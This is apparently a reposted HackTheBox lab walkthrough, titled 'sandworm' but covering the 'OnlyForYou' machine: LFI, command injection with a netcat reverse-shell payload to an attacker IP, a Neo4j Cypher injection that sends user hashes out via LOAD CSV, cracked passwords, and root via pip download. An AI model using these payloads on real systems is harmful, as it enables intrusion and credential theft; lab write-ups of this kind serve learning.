首页 > 其他分享 >hackthebox sandworm medium writeup

hackthebox sandworm medium writeup

时间:2024-03-11 15:55:17浏览次数:21  
标签:25 medium HTTP 1.1 GET 33 hackthebox sandworm 10.10

This is the write up for the medium machine 'onlyrforyou'.

Topic covered in this article are: LFI,commnad injection,neo4j cipher injection,malicious python packages and code execution via pip download.

Shell as user

Subdomain enumeration:

ffuf -u http://only4you.htb -H "Host:FUZZ.only4you.htb" -w /Discovery/DNS/shubs-subdomains.txt

And we find a "Beta" filed.

Looking at the beta.only4you.htb

 At right corner,there are two button named resize and convert.

Select the resize and them choose an image to upload,we will initiate a POST request to the /reszie endpoint with file contents.After it's uploaded we'll redirected to /list.From here we can choose a format to download the image in :

If we click one formate and the post request that looks like this:

POST /download HTTP/1.1
Host: beta.only4you.htb
Content-Length: 17
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://beta.only4you.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://beta.only4you.htb/list
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


image=200x200.jpg

If we change the content after "image=",like /etc/passwd.And the server will allow us to read files on the server(LFI).

By simply changing to POST data to /etc/passwd we can retrieve the /etc/passwd file.

The source code is as follows:

@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

Select file to include

Here is a question,what file can we locate and obtain some useful message.

Type one :CMD

/proc/self/stat

/proc/self/status

/proc/self/environ

/proc/pid/cmdline

/proc/self/cmdline

Type two: sensitive file

Web root directory

/etc/nginx/sites-available/default

 From the examing the Server: Headers that gets returned we can determine that the web server is operating using Nginx so we can go ahead and use the LIF to grab /etc/nginx/sites-available/default:

server {
    listen 80;
    return 301 http://only4you.htb$request_uri;
}

server {
 listen 80;
 server_name only4you.htb;

 location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
 }
}

server {
 listen 80;
 server_name beta.only4you.htb;

        location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
        }
}

This file help us determine the web-root.In the source code we download from the beta site,we could see that it was using app.py file.

So I assume that the main site of bata is also using app.py file so I try to grab it with LFI : /var/www/only4you.htb/app.py

from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
        if status == 0:
            flash('Something went wrong!', 'danger')
        elif status == 1:
            flash('You are not authorized!', 'danger')
        else:
            flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
        return redirect('/#contact')
    else:
        return render_template('index.html')

@app.errorhandler(404)
def page_not_found(error):
    return render_template('404.html'), 404

@app.errorhandler(500)
def server_errorerror(error):
    return render_template('500.html'), 500

@app.errorhandler(400)
def bad_request(error):
    return render_template('400.html'), 400

@app.errorhandler(405)
def method_not_allowed(error):
    return render_template('405.html'), 405

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=80, debug=False)

This text help us learn that this app.py file import another python file named form so I go and grab that file with LFI :/var/www/only4you.htb/form.py

import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
 if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
  return 0
 else:
  domain = email.split("@", 1)[1]
  result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
  output = result.stdout.decode('utf-8')
  if "v=spf1" not in output:
   return 1
  else:
   domains = []
   ips = []
   if "include:" in output:
    dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
    dms.pop(0)
    for domain in dms:
     domains.append(domain)
    while True:
     for domain in domains:
      result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
      output = result.stdout.decode('utf-8')
      if "include:" in output:
       dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
       domains.clear()
       for domain in dms:
        domains.append(domain)
      elif "ip4:" in output:
       ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
       ipaddresses.pop(0)
       for i in ipaddresses:
        ips.append(i)
      else:
       pass
     break
   elif "ip4" in output:
    ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
    ipaddresses.pop(0)
    for i in ipaddresses:
     ips.append(i)
   else:
    return 1
  for i in ips:
   if ip == i:
    return 2
   elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
    return 2
   else:
    return 1

def sendmessage(email, subject, message, ip):
 status = issecure(email, ip)
 if status == 2:
  msg = EmailMessage()
  msg['From'] = f'{email}'
  msg['To'] = '[email protected]'
  msg['Subject'] = f'{subject}'
  msg['Message'] = f'{message}'

  smtp = smtplib.SMTP(host='localhost', port=25)
  smtp.send_message(msg)
  smtp.quit()
  return status
 elif status == 1:
  return status
 else:
  return status

Reveiwing and code auditing. This python code have a vulnerability that allow attacker command exectute on the server at the filed "email"

INSTRUCTION:

If we add a semicolon after the email the server will also run the another command after it

Here is a reverse shell command 

name=shell&email=shell%40123.com;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|bin/sh+-i+2>%261|nc+10.10.14.16+4444+>/tmp/f&submject=shell&message=shell

name=greper&email=greper%40test.com;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.16+4444+>/tmp/f&subject=TEST&message=test

It will result in reverse shell connection:

The next step is using chisel to forward these ports to our attack machine:

#Do this for each port you want to forward
./chisel server -p 1234 --reverse #Server
./chisel client 10.10.14.16:1234 R:7687:127.0.0.1:7687 #Client

Once I forward all of the ports to my attack machine, I browse to http://localhost:3000 and here I find a Gogs deployment. I am unable to log in or view any public repos, but at least I learn that there is a user named john .

 

Using neo4j cipher injection to obtain password hash

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.16/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

This results the following:

10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:09] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:10] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [25/Aug/2023 13:33:10] "GET /?username=john HTTP/1.1" 200 -

Using john or hashcat to get these plain password.

8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:admin
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6:ThisIs4You

We can ssh into the machine as john.

Shell as root

sudo -l 

Matching Defaults entries for john on only4you:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
john@only4you:~$

Google it and find the link about this exploit

https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/

Cause pip3 download the http url.

So we need to git pull the exploit tar.gz file .

The step as follow:

git init 
git add .
git commit -m "fxxxx" 
git remote add origin http://127.0.0.1:3000/john/grep.git
git push -u origin master/main

Once we’ve done this, the only thing left to do is run this command:

sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/grep/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz

sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/grep/raw/mster/xxx.tar.gz

This will trigger the exploit and the SUID bit will get filpped on for the /bin/bash binary.

Using bash -p to escalate privilege.

 

标签:25,medium,HTTP,1.1,GET,33,hackthebox,sandworm,10.10
From: https://www.cnblogs.com/lisenMiller/p/18066086

相关文章

  • HackTheBox - Codify [easy]
    打这台靶机时及其古怪。总是莫名其妙断开连接,请求没有响应。提交时表示flag错误等问题访问80端口的web服务,发现使用nodjs和vm2库。搜索到vm2漏洞:SandboxBypassinvm2|CVE-2023-32314|Snyk 可远程执行代码查看当前用户,可登录使用ssh登录,使用linpeas.sh等工具枚举,发......
  • HackTheBox - Drive
    #nmap--top-ports=100010.10.11.235StartingNmap7.94SVN(https://nmap.org)at2024-02-1511:10CSTNmapscanreportfordrive.htb(10.10.11.235)Hostisup(0.12slatency).Notshown:997closedtcpports(reset)PORTSTATESERVICE22/tcpop......
  • E2. Minibuses on Venus (medium version)(卷积加速dp)
    数的范围是在k进制下的n位数一个数是lucky的当且仅当在k进制下,存在一个数位上的数,等于其他数位上的数在模k意义下的和。利用减法原理假设一个数的数位和为s,如果存在一个数,那么有s-x%k=x%k->s%k=2x%k那么我们找到这样的x,就是说在计算和为s的方案数是不能使用这些x类似于dp......
  • hackthebox outdated windows medium
    CONNECTbetweenwindowsandlinuxBloodhoundCollectionGrabthelatestcopyofSharpHound.exefromtheBloodhoundrepo,uploadittoOutdated,workingoutofC:\programdataiwrhttp://10.10.14.5:8888/SharpHound.exe-outfiles.exe.\s.exe-Call2022-0......
  • CF1884C Medium Design
    CF1884CMediumDesign翻译首先可以想到一个性质:覆盖\(\min\)的区间加上一定不优。因此考虑以每个点为\(\max\),判断包含这个位置的所有线段中和的最小值然后就不会了\(QwQ\)原来这里还有一个性质:最小值一定是\(\min(a_1,a_m)\),因为假设作为\(\max\)的点为\(x\),\(1\)......
  • hackthebox absolute insane
     信息收集Payattentiontothelastlinessl-date:wehave7hourclockskew,whichshouldkeepinmindifdoinganykeberosauth.SMB-TCP445smbclient-N-L//10.10.11.181#对面拒绝连接crackmapexecsmbabsolute.htb  #对面存在smbcrackmapexec......
  • hackthebox broscience medium
    Brieflyinstruction:Thistime,thetargetmachineencoutersomeurlcoding,phpcodeauditfounddeserialization,scriptwritingaccordingtothecontent,pgsqlinjection,hashcatblastingwithsaltvalueandpspyfoundautomaticallyrunscripts.Afterauditin......
  • hackthebox bagel medium
    Flaskexploit /proc/self/cmdlineunderstandswhichprocessiscurrentlyrunningtoprovicethewebservice.curlhttp://10.10.11.201:8000/?page=../../../../../../proc/self/cmdline-o-Abouttheflask:Afterweknowwhichpyfileiscurrentlyrunningt......
  • hackthebox jupyter medium
    BREIFLY.thisboxisquitehardforbeginner.thewalkthroughisfollowing:1.nmapscanopenportsdetailanddiscoverthisboxopen22and80portbutonlygivethedomain http://jupiter.htb FUZZTESTING:atthetimewecanFUZZthesubdomainofthisdom......
  • Codeforces Round 904 (Div. 2) C. Medium Design
    jly:开始的想法:首先枚举max的位置。包含它的一定是全加,剩下的一定都不加。然后求所有位置的最小值。初始全0,枚举max之后,因为是加区间,min一定在两端(最左或最右)。所以不需要枚举max,我们枚举min就好(因为加区间和初始全0,这个题的特殊性)。写法注意的点:下标从0开始,区间的左端点都-1,右端......